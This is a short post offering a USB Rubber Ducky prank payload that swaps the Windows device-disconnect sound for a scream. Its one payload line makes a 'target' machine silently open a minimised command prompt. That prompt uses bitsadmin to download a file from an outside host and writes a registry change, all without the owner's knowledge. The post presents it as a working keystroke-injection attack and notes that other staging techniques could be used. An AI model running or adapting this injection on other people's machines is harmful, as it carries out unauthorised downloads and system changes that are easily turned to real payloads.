I'm sure everyone at some point in their life has unplugged something from a Windows machine and heard the notification sound.
This is obviously way too robotic and lifeless for my taste; here is a ducky payload that will replace device disconnect sounds with a scream.
Just in case you want it to feel like a living thing that is suffering as you rip parts off of it.
Inspiration from watching too much Michael Reeves.
Requires internet access on the target Windows host; this is just the shortest/fastest way to drop this kind of payload. Other staging/injection techniques could be used to supplement the download.
This will open run and execute the .wav download and registry changes in the background. Give it a couple of seconds to download. The change should be made by the time you remove the ducky from the target.
STRING cmd /C "start /MIN cmd /C bitsadmin.exe /transfer 'e' http://h4k.cc/s.wav %USERPROFILE%\s.wav&&@reg add HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\DeviceDisconnect\.Current\ /t REG_SZ /d %USERPROFILE%\s.wav /f"
This downloads a sample .wav (Doom). Replace the above url with another that hosts the desired .wav if you want to change the sound.
Fastest way to encode this would be using our single file JS Duck Encoder: https://downloads.hak5.org/ducky